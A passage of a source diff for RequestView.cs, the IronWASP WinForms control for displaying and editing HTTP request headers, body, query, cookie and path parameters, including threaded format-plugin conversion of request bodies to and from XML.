RequestChanged(); - } - - private void FormatXmlTBP_ValueChanged() - { - BodyFormatXmlChanged = true; - } - - private void ConvertXmlToObjectBtn_Click(object sender, EventArgs e) - { - if (this.ReadOnly) return; - if (BodyFormatXmlChanged) - { - string XML = FormatXmlTBP.GetText(); - string PluginName = this.GetSelectedFormatPluginName(); - if (PluginName != "Normal" && PluginName.Length > 0 && XML.Length > 0) - this.SerializeNewXmlWithFormatPlugin(XML, PluginName); - } - ResetBodyFormatXmlChangedStatus(); - } - - private void FormatPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (this.DisplayedRequest == null) return; - string PluginName = ""; - CurrentFormatXml = ""; - CurrentXmlNameValueArray = new string[,]{}; - - bool Normal = false; - if (e.RowIndex == 0) - { - Normal = true; - this.SetBodyParameters(this.DisplayedRequest, false); - } - - foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) - { - if (e.RowIndex == Row.Index) - { - PluginName = Row.Cells[1].Value.ToString(); - } - if (Normal && (e.RowIndex == Row.Index)) - { - Row.Cells[0].Value = true; - } - else - { - Row.Cells[0].Value = false; - } - } - if (Normal) return; - - BodyParametersGrid.Rows.Clear(); - FormatXmlTBP.ClearData(); - ConvertXmlToObjectBtn.Text = "Convert this XML to Object"; - if (FormatPluginCallingThread != null) - { - try - { - FormatPluginCallingThread.Abort(); - } - catch { } - } - if (PluginName.Length == 0) return; - ShowStatusMsg(string.Format("Parsing Request body as {0}", PluginName)); - ShowProgressBar(true); - FormatPluginCallingThread = new Thread(DeserializeWithFormatPlugin); - FormatPluginCallingThread.Start(PluginName); - } - - void DeserializeWithFormatPlugin(object PluginNameObject) - { - string PluginName = PluginNameObject.ToString(); - try - { - Request Req = DisplayedRequest.GetClone(true); - FormatPlugin FP = FormatPlugin.Get(PluginName); - CurrentFormatXml = FP.ToXmlFromRequest(Req); - CurrentXmlNameValueArray = FormatPlugin.XmlToArray(CurrentFormatXml); - ShowStatusMsg(""); - SetDeserializedDataInUi(PluginName, CurrentFormatXml, CurrentXmlNameValueArray); - this.ResetBodyParametersChangedStatus(); - ShowProgressBar(false); - } - catch (ThreadAbortException) - { - ShowStatusMsg(""); - } - catch (Exception Exp) - { - IronException.Report(string.Format("Error converting Request to {0}", PluginName), Exp); - ShowErrorMsg(string.Format("Unable to parse Request body as {0}", PluginName)); - ShowProgressBar(false); - } - } - - delegate void SetDeserializedDataInUi_d(string PluginName, string XML, string[,] XmlNameValueArray); - void SetDeserializedDataInUi(string PluginName, string XML, string[,] XmlNameValueArray) - { - if (this.BaseTabs.InvokeRequired) - { - SetDeserializedDataInUi_d InvokeDelegate_d = new SetDeserializedDataInUi_d(SetDeserializedDataInUi); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { PluginName, XML, XmlNameValueArray }); - } - else - { - foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) - { - if (Row.Cells[1].Value.ToString().Equals(PluginName)) - Row.Cells[0].Value = true; - else - Row.Cells[0].Value = false; - } - FormatXmlTBP.SetText(XML); - ConvertXmlToObjectBtn.Text = string.Format("Convert this XML to {0}", PluginName); - BodyParametersGrid.Rows.Clear(); - for (int i = 0; i < XmlNameValueArray.GetLength(0); i++) - { - int RowId = BodyParametersGrid.Rows.Add(new object[] { XmlNameValueArray[i, 0], XmlNameValueArray[i, 1], Properties.Resources.Glass }); - BodyParametersGrid.Rows[RowId].Cells[1].ReadOnly = this.ReadOnly; - } - ShowBodyFormatOptions(); - } - } - - delegate void SetUpdatedDeserializedXmlInUi_d(string XML); - void SetUpdatedDeserializedXmlInUi(string XML) - { - if (this.BaseTabs.InvokeRequired) - { - SetUpdatedDeserializedXmlInUi_d InvokeDelegate_d = new SetUpdatedDeserializedXmlInUi_d(SetUpdatedDeserializedXmlInUi); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { XML }); - } - else - { - FormatXmlTBP.SetText(XML); - } - } - - void SerializeNewParametersWithFormatPlugin(string[,] EditedXmlNameValueArray, string PluginName) - { - for (int i = 0; i < this.CurrentXmlNameValueArray.GetLength(0); i++) - { - if(this.CurrentXmlNameValueArray[i,0].Equals(EditedXmlNameValueArray[i,0])) - { - if (!this.CurrentXmlNameValueArray[i, 1].Equals(EditedXmlNameValueArray[i, 1])) - { - this.CurrentFormatXml = FormatPlugin.InjectInXml(this.CurrentFormatXml, i, EditedXmlNameValueArray[i, 1]); - } - } - } - this.CurrentXmlNameValueArray = EditedXmlNameValueArray; - this.SetUpdatedDeserializedXmlInUi(this.CurrentFormatXml); - this.SerializeNewXmlWithFormatPlugin(this.CurrentFormatXml, PluginName); - } - void SerializeNewXmlWithFormatPlugin(string XML, string PluginName) - { - this.CurrentFormatXml = XML; - this.CurrentXmlNameValueArray = FormatPlugin.XmlToArray(this.CurrentFormatXml); - if (FormatPluginCallingThread != null) - { - try - { - FormatPluginCallingThread.Abort(); - } - catch { } - } - ShowProgressBar(true); - ShowStatusMsg(string.Format("Updating edited values in {0}", PluginName)); - FormatPluginCallingThread = new Thread(SerializeNewXmlWithFormatPlugin); - FormatPluginCallingThread.Start(PluginName); - } - - void SerializeNewXmlWithFormatPlugin(object PluginNameObject) - { - string PluginName = PluginNameObject.ToString(); - try - { - Request Req = DisplayedRequest.GetClone(true); - FormatPlugin FP = FormatPlugin.Get(PluginName); - Request NewRequest = FP.ToRequestFromXml(Req, CurrentFormatXml); - this.DisplayedRequest = NewRequest; - ShowStatusMsg(""); - this.SetNonFormatPluginRequestFields(NewRequest); - ShowProgressBar(false); - } - catch (ThreadAbortException) - { - ShowStatusMsg(""); - } - catch (Exception Exp) - { - IronException.Report(string.Format("Error converting {0} to Request", PluginName), Exp); - ShowErrorMsg(string.Format("Unable to update edited values in {0}", PluginName)); - ShowProgressBar(false); - } - } - delegate void SetNonFormatPluginRequestFields_d(Request Req); - void SetNonFormatPluginRequestFields(Request Req) - { - if (this.BaseTabs.InvokeRequired) - { - SetNonFormatPluginRequestFields_d InvokeDelegate_d = new SetNonFormatPluginRequestFields_d(SetNonFormatPluginRequestFields); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); - } - else - { - this.SetHeader(Req); - this.SetBody(Req); - this.SetUrlPathPartsParameters(Req); - this.SetQueryParameters(Req); - ///this.SetBodyParameters(Req); - this.SetCookieParameters(Req); - this.SetHeadersParameters(Req); - } - } - - string GetSelectedFormatPluginName() - { - foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - if (Row.Index == 0) - return "Normal"; - else - return Row.Cells[1].Value.ToString(); - } - } - return ""; - } - - private void BaseTabs_Deselecting(object sender, TabControlCancelEventArgs e) - { - try - { - this.HandleAllDataChanges(); - } - catch (Exception Exp) { ShowErrorMsg(Exp.Message); } - } - - private void BodyParametersFormatTypeTabs_Deselecting(object sender, TabControlCancelEventArgs e) - { - try - { - this.HandleAllDataChanges(); - } - catch (Exception Exp) { ShowErrorMsg(Exp.Message); } - } - - private void RequestView_Load(object sender, EventArgs e) - { - FormatPluginsGrid.Rows.Clear(); - FormatPluginsGrid.Rows.Add(new object[] { false, " -- " }); - foreach (string Name in FormatPlugin.List()) - { - FormatPluginsGrid.Rows.Add(new object[]{false, Name}); - } - HideBodyFormatOptions(); - } - - private void ScanBodyTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (ScanBodyTabs.SelectedIndex == 1 && BodyTabSplit.Panel1Collapsed) - { - ScanBodyTabs.SelectTab(0); - } - } - - private void BodyFormatLbl_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - if (BodyFormatLbl.Text.StartsWith("Hide")) - { - HideBodyFormatOptions(); - } - else - { - ShowBodyFormatOptions(); - } - } - - void ShowBodyFormatOptions() - { - BodyFormatLbl.Text = "Hide Body Format Options"; - BodyTabSplit.Panel1Collapsed = false; - ScanBodyTabs.TabPages[1].Text = " Format Plugin XML (For Format Plugin Developers) "; - } - void HideBodyFormatOptions() - { - BodyFormatLbl.Text = "Show Body Format Options"; - BodyTabSplit.Panel1Collapsed = true; - ScanBodyTabs.TabPages[1].Text = ""; - ScanBodyTabs.SelectTab(0); - } - - private void BodyParametersGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (e.ColumnIndex == 2) - { - ExpandedParameterSection = "Body"; - ExpandedParameterIndex = e.RowIndex; - SetEditTab(BodyParametersGrid.Rows[e.RowIndex].Cells[1].Value.ToString()); - } - } - - void SetEditTab(string Value) - { - EditTBP.SetText(Value); - BaseTabs.TabPages["EditingTab"].Text = " Selected Parameter Value "; - BaseTabs.SelectTab("EditingTab"); - } - - void ClearEditTab() - { - EditTBP.SetText(""); - BaseTabs.TabPages["EditingTab"].Text = " "; - if (BaseTabs.SelectedTab.Name == "EditingTab") - { - BaseTabs.SelectTab("HeadersTab"); - } - } - - private void SaveEditsLbl_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - switch (ExpandedParameterSection) - { - case ("UrlPathParts"): - UrlPathPartsParametersGrid.Rows[ExpandedParameterIndex].Cells[1].Value = EditTBP.GetText(); - UrlPathPartsChanged = true; - BaseTabs.SelectTab("UrlPathPartsParametersTab"); - break; - case ("Query"): - QueryParametersGrid.Rows[ExpandedParameterIndex].Cells[1].Value = EditTBP.GetText(); - QueryParametersChanged = true; - BaseTabs.SelectTab("QueryParametersTab"); - break; - case("Body"): - BodyParametersGrid.Rows[ExpandedParameterIndex].Cells[1].Value = EditTBP.GetText(); - BodyParametersChanged = true; - BaseTabs.SelectTab("BodyParametersTab"); - break; - case ("Cookie"): - CookieParametersGrid.Rows[ExpandedParameterIndex].Cells[1].Value = EditTBP.GetText(); - CookieParametersChanged = true; - BaseTabs.SelectTab("CookieParametersTab"); - break; - case ("Headers"): - HeadersParametersGrid.Rows[ExpandedParameterIndex].Cells[1].Value = EditTBP.GetText(); - HeadersParametersChanged = true; - BaseTabs.SelectTab("HeadersParametersTab"); - break; - } - ClearEditTab(); - } - - private void QueryParametersGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (e.ColumnIndex == 2) - { - ExpandedParameterSection = "Query"; - ExpandedParameterIndex = e.RowIndex; - SetEditTab(QueryParametersGrid.Rows[e.RowIndex].Cells[1].Value.ToString()); - } - } - - private void UrlPathPartsParametersGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (e.ColumnIndex == 2) - { - ExpandedParameterSection = "UrlPathParts"; - ExpandedParameterIndex = e.RowIndex; - SetEditTab(UrlPathPartsParametersGrid.Rows[e.RowIndex].Cells[1].Value.ToString()); - } - } - - private void CookieParametersGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (e.ColumnIndex == 2) - { - ExpandedParameterSection = "Cookie"; - ExpandedParameterIndex = e.RowIndex; - SetEditTab(CookieParametersGrid.Rows[e.RowIndex].Cells[1].Value.ToString()); - } - } - - private void HeadersParametersGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (e.ColumnIndex == 2) - { - ExpandedParameterSection = "Headers"; - ExpandedParameterIndex = e.RowIndex; - SetEditTab(HeadersParametersGrid.Rows[e.RowIndex].Cells[1].Value.ToString()); - } - } - - private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (e.TabPage.Text.Trim().Length == 0) - { - e.Cancel = true; - return; - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Text; +using System.Windows.Forms; +using System.Threading; + +namespace IronWASP +{ + public partial class RequestView : UserControl + { + public RequestView() + { + InitializeComponent(); + } + + string ExpandedParameterSection = ""; + int ExpandedParameterIndex = 0; + + Request DisplayedRequest; + + bool readOnly = false; + + bool UseSslChanged = false; + bool HeadersChanged = false; + bool BodyChanged = false; + bool UrlPathPartsChanged = false; + bool QueryParametersChanged = false; + bool BodyParametersChanged = false; + bool BodyFormatXmlChanged = false; + bool CookieParametersChanged = false; + bool HeadersParametersChanged = false; + + Thread FormatPluginCallingThread; + + string CurrentFormatXml = ""; + string[,] CurrentXmlNameValueArray = new string[,] { }; + + bool LoadingRequest = false; + + public delegate void RequestChangedEvent(); + + public event RequestChangedEvent RequestChanged; + + public bool ReadOnly + { + get + { + return readOnly; + } + set + { + SetReadOnly(value); + } + } + + delegate void SetReadOnly_d(bool ReadOnlyVal); + public void SetReadOnly(bool ReadOnlyVal) + { + if (this.BaseTabs.InvokeRequired) + { + SetReadOnly_d InvokeDelegate_d = new SetReadOnly_d(SetReadOnly); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { ReadOnlyVal }); + } + else + { + readOnly = ReadOnlyVal; + UseSSLCB.Enabled = !ReadOnlyVal; + HeadersTBP.ReadOnly = ReadOnlyVal; + BodyTBP.ReadOnly = ReadOnlyVal; + FormatXmlTBP.ReadOnly = ReadOnlyVal; + EditTBP.ReadOnly = ReadOnly; + SaveEditsLbl.Visible = !ReadOnly; + //Disable format plugins + //Make all parameters grid value fields read-only + foreach (DataGridViewRow Row in UrlPathPartsParametersGrid.Rows) + { + Row.Cells[1].ReadOnly = this.ReadOnly; + } + foreach (DataGridViewRow Row in QueryParametersGrid.Rows) + { + Row.Cells[1].ReadOnly = this.ReadOnly; + } + foreach (DataGridViewRow Row in BodyParametersGrid.Rows) + { + Row.Cells[1].ReadOnly = this.ReadOnly; + } + foreach (DataGridViewRow Row in CookieParametersGrid.Rows) + { + Row.Cells[1].ReadOnly = this.ReadOnly; + } + foreach (DataGridViewRow Row in HeadersParametersGrid.Rows) + { + Row.Cells[1].ReadOnly = this.ReadOnly; + } + ShowHideEmptyMessages(); + } + } + + public void ClearRequest() + { + if (!LoadingRequest) + { + this.DisplayedRequest = null; + this.ClearData(); + this.ShowHideEmptyMessages(); + } + else + { + ShowStatusMsg("Loading a Request is already in progress!"); + } + } + + delegate void ClearData_d(); + void ClearData() + { + if (this.BaseTabs.InvokeRequired) + { + ClearData_d InvokeDelegate_d = new ClearData_d(ClearData); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { }); + } + else + { + UseSSLCB.Checked = false; + HeadersTBP.ClearData(); + BodyTBP.ClearData(); + FormatXmlTBP.ClearData(); + ConvertXmlToObjectBtn.Text = "Convert this XML to Object"; + UrlPathPartsParametersGrid.Rows.Clear(); + QueryParametersGrid.Rows.Clear(); + CookieParametersGrid.Rows.Clear(); + HeadersParametersGrid.Rows.Clear(); + BodyParametersGrid.Rows.Clear(); + ClearEditTab(); + foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) + { + Row.Cells[0].Value = false; + } + if (FormatPluginCallingThread != null) + { + try + { + FormatPluginCallingThread.Abort(); + } + catch { } + } + ShowStatusMsg(""); + ShowProgressBar(false); + } + } + + public void ClearStatusAndError() + { + ShowStatusMsg(""); + } + + delegate void ShowStatusMsg_d(string Msg); + public void ShowStatusMsg(string Msg) + { + if (this.BaseTabs.InvokeRequired) + { + ShowStatusMsg_d InvokeDelegate_d = new ShowStatusMsg_d(ShowStatusMsg); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Msg }); + } + else + { + StatusAndErrorTB.Text = Msg; + if (Msg.Length == 0) + { + StatusAndErrorTB.Visible = false; + } + else + { + StatusAndErrorTB.ForeColor = Color.Black; + StatusAndErrorTB.Visible = true; + } + } + } + + delegate void ShowErrorMsg_d(string Msg); + public void ShowErrorMsg(string Msg) + { + if (this.BaseTabs.InvokeRequired) + { + ShowErrorMsg_d InvokeDelegate_d = new ShowErrorMsg_d(ShowErrorMsg); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Msg }); + } + else + { + StatusAndErrorTB.Text = Msg; + if (Msg.Length == 0) + { + StatusAndErrorTB.Visible = false; + } + else + { + StatusAndErrorTB.ForeColor = Color.Red; + StatusAndErrorTB.Visible = true; + } + } + } + + delegate void ShowProgressBar_d(bool Show); + public void ShowProgressBar(bool Show) + { + if (this.BaseTabs.InvokeRequired) + { + ShowProgressBar_d InvokeDelegate_d = new ShowProgressBar_d(ShowProgressBar); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Show }); + } + else + { + this.WaitProgressBar.Visible = Show; + } + } + + delegate void SetRequest_d(Request Req); + public void SetRequest(Request Req) + { + if (this.BaseTabs.InvokeRequired) + { + SetRequest_d InvokeDelegate_d = new SetRequest_d(SetRequest); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); + } + else + { + if (!LoadingRequest) + { + LoadingRequest = true; + + this.ClearData(); + + this.SetHeader(Req); + this.SetBody(Req); + this.SetUrlPathPartsParameters(Req); + this.SetQueryParameters(Req); + + this.SetCookieParameters(Req); + this.SetHeadersParameters(Req); + + FormatPluginsGrid.Rows.Clear(); + FormatPluginsGrid.Rows.Add(new object[] { false, " -- " }); + foreach (string Name in FormatPlugin.List()) + { + FormatPluginsGrid.Rows.Add(new object[] { false, Name }); + } + //this.SetBodyParameters(Req); + this.AutoDetectFormatAndSetBodyParameters(Req); + this.ResetAllChangedValueStatus(); + this.DisplayedRequest = Req; + this.ShowHideEmptyMessages(); + + LoadingRequest = false; + } + else + { + ShowStatusMsg("Loading a Request is already in progress!"); + } + } + } + + void AutoDetectFormatAndSetBodyParameters(Request Req) + { + if (FormatPluginCallingThread != null) + { + try + { + FormatPluginCallingThread.Abort(); + } + catch { } + } + ShowStatusMsg("Detecting Request body format.."); + ShowProgressBar(true); + FormatPluginCallingThread = new Thread(AutoDetectFormatAndSetBodyParameters); + FormatPluginCallingThread.Start(Req); + } + void AutoDetectFormatAndSetBodyParameters(object ReqObj) + { + try + { + Request Req = ((Request)ReqObj).GetClone(); + string FPName = FormatPlugin.Get(Req); + + if (FPName == "Normal") + { + SetBodyParameters(Req, true); + } + else if (FPName.Length == 0) + { + SetBodyParameters(Req, false); + } + else + { + try + { + FormatPlugin FP = FormatPlugin.Get(FPName); + CurrentFormatXml = FP.ToXmlFromRequest(Req); + CurrentXmlNameValueArray = FormatPlugin.XmlToArray(CurrentFormatXml); + SetDeserializedDataInUi(FP.Name, CurrentFormatXml, CurrentXmlNameValueArray); + } + catch + { + SetBodyParameters(Req, false); + } + } + this.ResetBodyParametersChangedStatus(); + } + catch (ThreadAbortException) { } + finally + { + ShowStatusMsg(""); + ShowProgressBar(false); + } + } + + delegate void SetHeader_d(Request Req); + void SetHeader(Request Req) + { + if (this.BaseTabs.InvokeRequired) + { + SetHeader_d InvokeDelegate_d = new SetHeader_d(SetHeader); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); + } + else + { + this.HeadersTBP.SetText(Req.GetHeadersAsStringWithoutFullURL()); + this.UseSSLCB.Checked = Req.SSL; + this.ResetHeadersChangedStatus(); + this.ResetSslChangedStatus(); + } + } + + delegate void SetBody_d(Request Req); + void SetBody(Request Req) + { + if (this.BaseTabs.InvokeRequired) + { + SetBody_d InvokeDelegate_d = new SetBody_d(SetBody); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); + } + else + { + if (Req.HasBody) + { + if (Req.IsBinary) + this.BodyTBP.SetBytes(Req.BodyArray); + else + this.BodyTBP.SetText(Req.BodyString); + } + this.ResetBodyChangedStatus(); + } + } + + delegate void SetUrlPathPartsParameters_d(Request Req); + void SetUrlPathPartsParameters(Request Req) + { + if (this.BaseTabs.InvokeRequired) + { + SetUrlPathPartsParameters_d InvokeDelegate_d = new SetUrlPathPartsParameters_d(SetUrlPathPartsParameters); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); + } + else + { + List UrlPathParts = Req.UrlPathParts; + UrlPathPartsParametersGrid.Rows.Clear(); + for (int i = 0; i < UrlPathParts.Count; i++) + { + int RowId = UrlPathPartsParametersGrid.Rows.Add(new object[] { i, UrlPathParts[i], Properties.Resources.Glass }); + UrlPathPartsParametersGrid.Rows[RowId].Cells[1].ReadOnly = this.ReadOnly; + } + this.ResetUrlPathPartsChangedStatus(); + } + } + + delegate void SetQueryParameters_d(Request Req); + void SetQueryParameters(Request Req) + { + if (this.BaseTabs.InvokeRequired) + { + SetQueryParameters_d InvokeDelegate_d = new SetQueryParameters_d(SetQueryParameters); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); + } + else + { + QueryParametersGrid.Rows.Clear(); + foreach (string Name in Req.Query.GetNames()) + { + foreach (string Value in Req.Query.GetAll(Name)) + { + int RowId = QueryParametersGrid.Rows.Add(new object[] { Name, Value, Properties.Resources.Glass }); + QueryParametersGrid.Rows[RowId].Cells[1].ReadOnly = this.ReadOnly; + } + } + this.ResetQueryParametersChangedStatus(); + } + } + + delegate void SetBodyParameters_d(Request Req, bool HideFormatPluginsGrid); + void SetBodyParameters(Request Req, bool HideFormatPluginsGrid) + { + if (this.BaseTabs.InvokeRequired) + { + SetBodyParameters_d InvokeDelegate_d = new SetBodyParameters_d(SetBodyParameters); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req, HideFormatPluginsGrid }); + } + else + { + BodyParametersGrid.Rows.Clear(); + foreach (string Name in Req.Body.GetNames()) + { + foreach (string Value in Req.Body.GetAll(Name)) + { + int RowId = BodyParametersGrid.Rows.Add(new object[] { Name, Value, Properties.Resources.Glass, Tools.Base64Encode(Value) }); + BodyParametersGrid.Rows[RowId].Cells[1].ReadOnly = this.ReadOnly; + } + } + FormatPluginsGrid.Rows[0].Cells[0].Value = true; + if (HideFormatPluginsGrid) + { + HideBodyFormatOptions(); + } + else + { + ShowBodyFormatOptions(); + } + this.ResetBodyParametersChangedStatus(); + } + } + + delegate void SetCookieParameters_d(Request Req); + void SetCookieParameters(Request Req) + { + if (this.BaseTabs.InvokeRequired) + { + SetCookieParameters_d InvokeDelegate_d = new SetCookieParameters_d(SetCookieParameters); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); + } + else + { + CookieParametersGrid.Rows.Clear(); + foreach (string Name in Req.Cookie.GetNames()) + { + foreach (string Value in Req.Cookie.GetAll(Name)) + { + int RowId = CookieParametersGrid.Rows.Add(new object[] { Name, Value, Properties.Resources.Glass }); + CookieParametersGrid.Rows[RowId].Cells[1].ReadOnly = this.ReadOnly; + } + } + this.ResetCookieParametersChangedStatus(); + } + } + + delegate void SetHeadersParameters_d(Request Req); + void SetHeadersParameters(Request Req) + { + if (this.BaseTabs.InvokeRequired) + { + SetHeadersParameters_d InvokeDelegate_d = new SetHeadersParameters_d(SetHeadersParameters); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); + } + else + { + HeadersParametersGrid.Rows.Clear(); + foreach (string Name in Req.Headers.GetNames()) + { + if (!Name.Equals("Host", StringComparison.OrdinalIgnoreCase) && !Name.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) + { + foreach (string Value in Req.Headers.GetAll(Name)) + { + int RowId = HeadersParametersGrid.Rows.Add(new object[] { Name, Value, Properties.Resources.Glass }); + HeadersParametersGrid.Rows[RowId].Cells[1].ReadOnly = this.ReadOnly; + } + } + } + this.ResetHeadersParametersChangedStatus(); + } + } + + public Request GetRequest() + { + try + { + return this.GetRequestOrException(); + } + catch + { + return null; + } + } + public Request GetRequestOrException() + { + this.HandleAllDataChanges(); + if (FormatPluginCallingThread != null) + { + try + { + while (FormatPluginCallingThread.ThreadState == ThreadState.Running) + { + Thread.Sleep(100); + } + } + catch { } + } + return DisplayedRequest; + } + + delegate void UpdateRequest_d(); + public void UpdateRequest() + { + if (this.BaseTabs.InvokeRequired) + { + UpdateRequest_d InvokeDelegate_d = new UpdateRequest_d(UpdateRequest); + this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { }); + } + else + { + try + { + this.HandleAllDataChanges(); + } + catch(Exception Exp) + { + ShowErrorMsg(Exp.Message); + } + } + } + + void HandleAllDataChanges() + { + if (this.ReadOnly) return; + if (HeadersChanged || BodyChanged || UrlPathPartsChanged || QueryParametersChanged || BodyParametersChanged || CookieParametersChanged || HeadersParametersChanged) + { + ShowStatusMsg(""); + } + if (HeadersChanged) + { + Request NewRequest = new Request(HeadersTBP.GetText(), UseSSLCB.Checked); + if(DisplayedRequest.HasBody) + { + if (DisplayedRequest.IsBinary) + NewRequest.BodyArray = BodyTBP.GetBytes(); + else + NewRequest.BodyString = BodyTBP.GetText(); + } + this.DisplayedRequest = NewRequest; + + SetUrlPathPartsParameters(this.DisplayedRequest); + SetQueryParameters(this.DisplayedRequest); + SetCookieParameters(this.DisplayedRequest); + SetHeadersParameters(this.DisplayedRequest); + + ResetHeadersChangedStatus(); + ResetUrlPathPartsChangedStatus(); + ResetQueryParametersChangedStatus(); + ResetCookieParametersChangedStatus(); + ResetHeadersParametersChangedStatus(); + } + if (BodyChanged && this.DisplayedRequest != null) + { + if (BodyTBP.IsBinary) + this.DisplayedRequest.BodyArray = BodyTBP.GetBytes(); + else + this.DisplayedRequest.BodyString = BodyTBP.GetText(); + AutoDetectFormatAndSetBodyParameters(this.DisplayedRequest); + //SetBodyParameters(this.DisplayedRequest); + ClearBodyTypeFormatPluginsUi(); + ResetBodyChangedStatus(); + ResetBodyParametersChangedStatus(); + } + if (UrlPathPartsChanged && this.DisplayedRequest != null) + { + List UrlPathParts = new List(); + foreach (DataGridViewRow Row in UrlPathPartsParametersGrid.Rows) + { + if (Row.Cells[1].Value == null) + UrlPathParts.Add(""); + else + UrlPathParts.Add(Row.Cells[1].Value.ToString()); + } + this.DisplayedRequest.UrlPathParts = UrlPathParts; + HeadersTBP.SetText(this.DisplayedRequest.GetHeadersAsStringWithoutFullURL()); + ResetHeadersChangedStatus(); + ResetUrlPathPartsChangedStatus(); + } + if (QueryParametersChanged && this.DisplayedRequest != null) + { + this.DisplayedRequest.Query.RemoveAll(); + foreach (DataGridViewRow Row in QueryParametersGrid.Rows) + { + if (Row.Cells[1].Value == null) + this.DisplayedRequest.Query.Add(Row.Cells[0].Value.ToString(), ""); + else + this.DisplayedRequest.Query.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); + } + this.HeadersTBP.SetText(this.DisplayedRequest.GetHeadersAsStringWithoutFullURL()); + ResetHeadersChangedStatus(); + ResetQueryParametersChangedStatus(); + } + if (CookieParametersChanged && this.DisplayedRequest != null) + { + this.DisplayedRequest.Cookie.RemoveAll(); + foreach (DataGridViewRow Row in CookieParametersGrid.Rows) + { + if (Row.Cells[1].Value == null) + this.DisplayedRequest.Cookie.Add(Row.Cells[0].Value.ToString(), ""); + else + this.DisplayedRequest.Cookie.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); + } + this.HeadersTBP.SetText(this.DisplayedRequest.GetHeadersAsStringWithoutFullURL()); + ResetHeadersChangedStatus(); + ResetCookieParametersChangedStatus(); + } + if (HeadersParametersChanged && this.DisplayedRequest != null) + { + foreach (string Name in this.DisplayedRequest.Headers.GetNames()) + { + if (Name != "Cookie") + { + this.DisplayedRequest.Headers.Remove(Name); + } + } + foreach (DataGridViewRow Row in HeadersParametersGrid.Rows) + { + if (Row.Cells[1].Value == null) + this.DisplayedRequest.Headers.Add(Row.Cells[0].Value.ToString(), ""); + else + this.DisplayedRequest.Headers.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); + } + this.HeadersTBP.SetText(this.DisplayedRequest.GetHeadersAsStringWithoutFullURL()); + ResetHeadersChangedStatus(); + ResetHeadersParametersChangedStatus(); + } + if (BodyParametersChanged && this.DisplayedRequest != null) + { + if (GetSelectedFormatPluginName() == "Normal") + { + this.DisplayedRequest.Body.RemoveAll(); + foreach (DataGridViewRow Row in BodyParametersGrid.Rows) + { + if (Row.Cells[1].Value == null) + this.DisplayedRequest.Body.Add(Row.Cells[0].Value.ToString(), ""); + else + this.DisplayedRequest.Body.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); + } + this.BodyTBP.SetText(this.DisplayedRequest.BodyString); + ResetBodyChangedStatus(); + ResetBodyParametersChangedStatus(); + //ClearBodyTypeFormatPluginsUi(); + } + else + { + string[,] EditedNameValuePairs = new string[BodyParametersGrid.Rows.Count, 2]; + foreach (DataGridViewRow Row in BodyParametersGrid.Rows) + { + EditedNameValuePairs[Row.Index, 0] = Row.Cells[0].Value.ToString(); + if (Row.Cells[1].Value == null) + { + EditedNameValuePairs[Row.Index, 1] = ""; + } + else + { + try + { + EditedNameValuePairs[Row.Index, 1] = Tools.Base64Decode(Row.Cells[3].Value.ToString()); + } + catch + { + EditedNameValuePairs[Row.Index, 1] = Row.Cells[1].Value.ToString(); + } + } + } + string PluginName = GetSelectedFormatPluginName(); + if (PluginName.Length > 0) + SerializeNewParametersWithFormatPlugin(EditedNameValuePairs, PluginName); + ResetBodyParametersChangedStatus(); + } + } + //if (BodyTypeFormatPluginsParametersChanged && this.DisplayedRequest != null) + //{ + // string[,] EditedNameValuePairs = new string[BodyParametersGrid.Rows.Count, 2]; + // foreach (DataGridViewRow Row in BodyParametersGrid.Rows) + // { + // EditedNameValuePairs[Row.Index, 0] = Row.Cells[0].Value.ToString(); + // if (Row.Cells[1].Value == null) + // EditedNameValuePairs[Row.Index, 1] = ""; + // else + // EditedNameValuePairs[Row.Index, 1] = Row.Cells[1].Value.ToString(); + // } + // string PluginName = GetSelectedFormatPluginName(); + // if(PluginName.Length > 0) + // SerializeNewParametersWithFormatPlugin(EditedNameValuePairs, PluginName); + // 